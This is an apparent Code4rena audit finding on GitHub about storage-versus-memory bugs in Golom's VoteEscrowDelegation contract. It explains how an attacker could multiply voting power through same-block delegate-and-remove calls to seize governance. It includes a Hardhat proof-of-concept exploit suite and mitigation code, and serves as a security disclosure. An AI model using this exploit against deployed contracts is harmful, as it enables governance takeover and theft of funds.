Judge has assessed an item in Issue [#625](https://github.com/code-423n4/2022-07-golom-findings/issues/625) as High risk. The relevant finding follows: [Lines of code](https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L78-L82) [Vulnerability details](https://github.com/code-423n4/2022-07-golom/blob/e5efa8f9d6dda92a90b8b2c4902320acf0c26816/contracts/vote-escrow/VoteEscrowDelegation.sol#L78-L82) # storage used in VoteEscrow, modifying data it shouldn't, and vice versa In both the functions delegate and removeDelegation (and removeElement), a storage var is used, causing to modify the old checkpoint too. In _writeCheckpoint, it's the other way around - memory is used in case that nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number is true and therefore the modification which should be saved to storage - isn't saved: Checkpoint memory oldCheckpoint = checkpoints[toTokenId][nCheckpoints - 1]; if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) { oldCheckpoint.delegatedTokenIds = _delegatedTokenIds; } ## Impact * In case of delegate it will add delegation to previous checkpoint, giving the delegatee _more_ voting power than it should have in previous blocks. * In case of removeDelegation it will remove delegation from previous checkpoint, giving the delegatee _less_ voting power that he should have. The bug in _writeCheckpoint will only 'work' once the other bugs are fixed, but once that's done the impact can be high: * This will fail to remove or add delegation, in case the delegatee's checkpoint was already modified this block. * An attacker can use this to multiplying his delegation power endlessly, by adding a delegation and removing it in the same block (using a contract to run those 2 functions in the same tx). The delegation will succeed but the removal will fail, this way each time this runs the user delegates again the same token. * Once the attacker uses this to gain the majority of voting power, he can propose a vote to transfer ownership of contracts to himself, and once that is done he can mint as much tokens as he'd like to himself etc. (I've elaborated more on this in another bug). * This might also affect innocent users delegating to the same delegatee in the same block etc. ## Proof of Concept These tests have PoC for all 3 bugs. The first test demonstrate the first 2 bugs when storage is used - Bob delegates his token to Alice's token and then removes it. When we look at the voting power of Alice in previous checkpoints it turns out that right after delegation Bob's token isn't actually delegated to her's. While after removal it actually is delegated to her. The 2 other test demonstrate the bug where memory is used at _writeCheckpoint, in the first Bob manages to delegate his token 100 times to Alice, and in the last test innocent users are trying to delegate their tokens to the same token at the same block and fail (only the first token manages to delegate). import { ethers, waffle } from 'hardhat'; import { BigNumber, utils, Signer, constants, ContractTransaction } from 'ethers'; import chai from 'chai'; const { expect } = chai; // import artifacts const GolomTraderArtifacts = ethers.getContractFactory('GolomTrader'); const RewardDistributorArtifacts = ethers.getContractFactory('RewardDistributor'); let VoteEscrowArtifacts; const GolomTokenArtifacts = ethers.getContractFactory('GolomToken'); const TokenUriHelperLibArtifacts = ethers.getContractFactory('TokenUriHelper'); const ERC721MockArtifacts = ethers.getContractFactory('ERC721Mock'); const ERC1155MockArtifacts = ethers.getContractFactory('ERC1155Mock'); const ERC20MockArtifacts = ethers.getContractFactory('ERC20Mock'); const WETHArtifacts = ethers.getContractFactory('WETH'); // import typings import { GolomTrader as GolomTraderTypes } from '../../typechain/GolomTrader'; import { RewardDistributor as RewardDistributorTypes } from '../../typechain/RewardDistributor'; import { VoteEscrow as VoteEscrowTypes } from '../../typechain/VoteEscrow'; import { GolomToken as GolomTokenTypes } from '../../typechain/GolomToken'; import { ERC721Mock as ERC721MockTypes } from '../../typechain/ERC721Mock'; import { ERC1155Mock as ERC1155MockTypes } from '../../typechain/ERC1155Mock'; import { ERC20Mock as ERC20MockTypes } from '../../typechain/ERC20Mock'; import { WETH as WETHTypes } from '../../typechain/WETH'; let testErc20: ERC20MockTypes; let testErc721: ERC721MockTypes; let testErc1155: ERC1155MockTypes; export let weth: WETHTypes; let golomTrader: GolomTraderTypes; let voteEscrow: VoteEscrowTypes; let golomToken: GolomTokenTypes; let rewardDistributor: RewardDistributorTypes; let accounts: Signer[]; let governance: Signer; let stakers: Signer[]; let maker: any; let tokenIDs: any[] = []; describe('memory vs storage bugs', function () { beforeEach(async function () { accounts = await ethers.getSigners(); maker = accounts[0]; governance = accounts[5]; stakers = accounts.slice(6, 11); testErc20 = (await (await ERC20MockArtifacts).deploy()) as ERC20MockTypes; testErc721 = (await (await ERC721MockArtifacts).deploy()) as ERC721MockTypes; testErc1155 = (await (await ERC1155MockArtifacts).deploy()) as ERC1155MockTypes; weth = (await (await WETHArtifacts).deploy()) as WETHTypes; // deploy trader contract golomTrader = (await (await GolomTraderArtifacts).deploy(await governance.getAddress())) as GolomTraderTypes; golomToken = (await (await GolomTokenArtifacts).deploy(await governance.getAddress())) as GolomTokenTypes; const TokenUriHelperLib = (await (await TokenUriHelperLibArtifacts).deploy()) as any; VoteEscrowArtifacts = ethers.getContractFactory('VoteEscrow', { libraries: { TokenUriHelper: TokenUriHelperLib.address } }); voteEscrow = (await (await VoteEscrowArtifacts).deploy(golomToken.address)) as VoteEscrowTypes; rewardDistributor = (await ( await RewardDistributorArtifacts ).deploy( weth.address, golomTrader.address, golomToken.address, await governance.getAddress() )) as RewardDistributorTypes; await golomToken.connect(governance).mintGenesisReward(await governance.getAddress()); await golomToken.connect(governance).setMinter(rewardDistributor.address); await golomToken.connect(governance).executeSetMinter(); await rewardDistributor.connect(governance).addVoteEscrow(voteEscrow.address); // set distributor await golomTrader.connect(governance).setDistributor(rewardDistributor.address); // await golomTrader.connect(governance).executeSetDistributor(); await testErc721.mint(await maker.getAddress()); await testErc721.connect(maker).setApprovalForAll(golomTrader.address, true); await testErc1155.connect(maker).setApprovalForAll(golomTrader.address, true); let totalGenesis = await golomToken.balanceOf(await governance.getAddress()); let shares = [0.2, 0.45, 0.35]; const yearInSecs = 365 * 24 * 60 * 60; // give away some $GOLOM and lock it for some veGOLOM for (let i = 0; i < 3; i++) { const amount = totalGenesis.toBigInt() * BigInt(100 * shares[i]) / 100n; await golomToken.connect(governance).transfer(await stakers[i].getAddress(), amount); await golomToken.connect(stakers[i]).approve(voteEscrow.address, amount * 10n); let tx = await voteEscrow.connect(stakers[i]).create_lock(amount, 2 * yearInSecs); let receipt = await tx.wait(); let tokenID = receipt.events?.filter(x => x.event == "Deposit")[0].args?.tokenId; tokenIDs[i] = tokenID; } }); describe('Storage used instead of memory:', async () => { it('delegating then removing delegation', async () => { let threeStakers = stakers.slice(0, 3); let [bob, alice, eve] = threeStakers; const [bobTokenID, aliceTokenID] = tokenIDs; // delegate Alice's token to itself let tx = await voteEscrow.connect(alice).delegate(aliceTokenID, aliceTokenID); tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID); let receipt = await tx.wait(); const afterDelegationBlockNum = receipt.blockNumber; tx = await voteEscrow.connect(bob).removeDelegation(bobTokenID); receipt = await tx.wait(); const afterRemovalBlockNum = receipt.blockNumber; console.log({ events: JSON.stringify(receipt.events) }); const aliceVotingPowerAfterRemoval = (await voteEscrow.getVotes(aliceTokenID)).toBigInt(); tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID); receipt = await tx.wait(); const aliceVotingPowerAfterDelegation = (await voteEscrow.getPriorVotes(aliceTokenID, afterDelegationBlockNum)).toBigInt(); const aliceVotingPowerNow = (await voteEscrow.getVotes(aliceTokenID)).toBigInt(); const bobStakingBalance = (await voteEscrow.balanceOfNFT(bobTokenID)).toBigInt(); const aliceStakingBalance = (await voteEscrow.balanceOfNFT(aliceTokenID)).toBigInt(); console.log({ aliceVotingPowerAfterDelegation, aliceVotingPowerAfterRemoval, aliceVotingPowerNow }); console.log({ bobStakingBalance, aliceStakingBalance }); // dividing by denominator to avoid small changes due to VoteEscrow time-dependent changes const denominator = 10n ** 22n; // test passes = bug exists // After delegation, Alice's token holds only the power of its own balance chai.expect(aliceVotingPowerAfterDelegation / denominator).to.be.equal(aliceStakingBalance / denominator, "after delegation"); // After removing delegation, Alice's token still holds the power of Bob's balance chai.expect(aliceVotingPowerAfterRemoval / denominator).to.be.equal((aliceStakingBalance + bobStakingBalance) / denominator, "after removing delegation"); // just to prove that after dividing by denominator, the number is still big enough chai.assert(aliceVotingPowerAfterDelegation / denominator > 100n); }); }); describe('_writeCheckpoint bug - memory used:', async () => { // this bug would only 'work' after fixing the storage bug it('endless delegation', async () => { let threeStakers = stakers.slice(0, 3); let [bob, alice, eve] = threeStakers; const [bobTokenID, aliceTokenID, eveTokenID] = tokenIDs; // delegate Alice's token to itself await voteEscrow.connect(alice).delegate(aliceTokenID, aliceTokenID); // disable automining to make them all tx in the same block await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); let txs: ContractTransaction[] = []; for (let i = 0; i < 100; i++) { let tx = await voteEscrow.connect(bob).delegate(bobTokenID, aliceTokenID); await voteEscrow.connect(bob).removeDelegation(bobTokenID); await ethers.provider.send("evm_mine", []); } await ethers.provider.send("evm_setAutomine", [true]); const stakingPowerBigNumber = await Promise.all(tokenIDs.map(tid => voteEscrow.balanceOfNFT(tid))); const stakingPowerBigInt = stakingPowerBigNumber.map(x => x.toBigInt()); const [bobStakingPower, aliceStakingPower, eveStakingPower] = stakingPowerBigInt; const aliceVotingPower = (await voteEscrow.getVotes(aliceTokenID)).toBigInt(); const numCheckpoints = await voteEscrow.numCheckpoints(aliceTokenID); console.log({ aliceVotingPower, stakingPowerBigInt, numCheckpoints }); // Alice's got delegated Bob's token 100 times expect(aliceVotingPower).to.be.equal(bobStakingPower * 100n + aliceStakingPower); }); it('Innocent users delegating in the same block', async () => { let threeStakers = stakers.slice(0, 3); let [bob, alice, eve] = threeStakers; const [bobTokenID, aliceTokenID, eveTokenID] = tokenIDs; // disable automining to make them all tx in the same block await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); let txs: ContractTransaction[] = []; for (let i = 0; i < 3; i++) { let tx = await voteEscrow.connect(stakers[i]).delegate(tokenIDs[i], aliceTokenID); txs.push(tx); } await ethers.provider.send("evm_mine", []); await ethers.provider.send("evm_setAutomine", [true]); let blockNums = await Promise.all(txs.map(x => x.wait().then(x => x.blockNumber))); console.log({ blockNums }); const stakingPowerBigNumber = await Promise.all(tokenIDs.map(tid => voteEscrow.balanceOfNFT(tid))); const stakingPowerBigInt = stakingPowerBigNumber.map(x => x.toBigInt()); const aliceVotingPower = (await voteEscrow.getVotes(aliceTokenID)).toBigInt(); const numCheckpoints = await voteEscrow.numCheckpoints(aliceTokenID); console.log({ aliceVotingPower, stakingPowerBigInt, numCheckpoints }); }); }); }); ## Tools Used Hardhat ## Recommended Mitigation Steps As for _writeCheckpoint, this is the fix: if (nCheckpoints > 0 && oldCheckpoint.fromBlock == block.number) { - oldCheckpoint.delegatedTokenIds = _delegatedTokenIds; + checkpoints[toTokenId][nCheckpoints - 1] = _delegatedTokenIds; } else { For the other 2 - use memory instead of storage: /// @notice Explain to an end user what this does /// @param tokenId token ID which is being delegated /// @param toTokenId token ID to which the {tokenId} is being delegated function delegate(uint256 tokenId, uint256 toTokenId) external { require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed'); require(this.balanceOfNFT(tokenId) >= MIN_VOTING_POWER_REQUIRED, 'VEDelegation: Need more voting power'); removeDelegation(tokenId); delegates[tokenId] = toTokenId; uint256 nCheckpoints = numCheckpoints[toTokenId]; if (nCheckpoints > 0) { Checkpoint memory checkpoint = checkpoints[toTokenId][nCheckpoints - 1]; checkpoint.delegatedTokenIds = _cloneAndPushElement(checkpoint.delegatedTokenIds, tokenId); _writeCheckpoint(toTokenId, nCheckpoints, checkpoint.delegatedTokenIds); } else { uint256[] memory array = new uint256[](1); array[0] = tokenId; _writeCheckpoint(toTokenId, nCheckpoints, array); } emit DelegateChanged(tokenId, toTokenId, msg.sender); } /// @notice Remove delegation /// @param tokenId TokenId of which delegation needs to be removed function removeDelegation(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, 'VEDelegation: Not allowed'); uint256 removeFromTokenId = delegates[tokenId]; // this is safe as long as tokenId is starting from 1 (this is currently the case) if(removeFromTokenId == 0){ return; } uint256 nCheckpoints = numCheckpoints[removeFromTokenId]; Checkpoint memory lastCheckpoint = checkpoints[removeFromTokenId][nCheckpoints - 1]; uint256[] memory newDelegatedTokenIds = _copyAndRemoveElement(lastCheckpoint.delegatedTokenIds, tokenId); _writeCheckpoint(removeFromTokenId, nCheckpoints, newDelegatedTokenIds); delete delegates[tokenId]; } /// @notice Removes specific element from the array /// @param _array Whole array /// @param _element The element which we need to remove /// @notice we assume _array contains element, this will revert otherwise !!! function _copyAndRemoveElement(uint256[] memory _array, uint256 _element) internal returns(uint256[] memory) { uint256[] memory _newArr = new uint256[](_array.length - 1); uint256 _newIndex; for (uint256 i; i < _array.length; i++) { if (_array[i] != _element) { _newArr[_newIndex] = _array[i]; _newIndex++; } } return _newArr; } function _cloneAndPushElement(uint256[] memory _array , uint256 _element) internal returns (uint256[] memory){ uint256[] memory newArr = new uint256[](_array.length + 1); for (uint256 i; i < _array.length; i++) { newArr[i] = _array[i]; } newArr[newArr.length -1] = _element; return newArr; } --- The text was updated successfully, but these errors were encountered: All reactions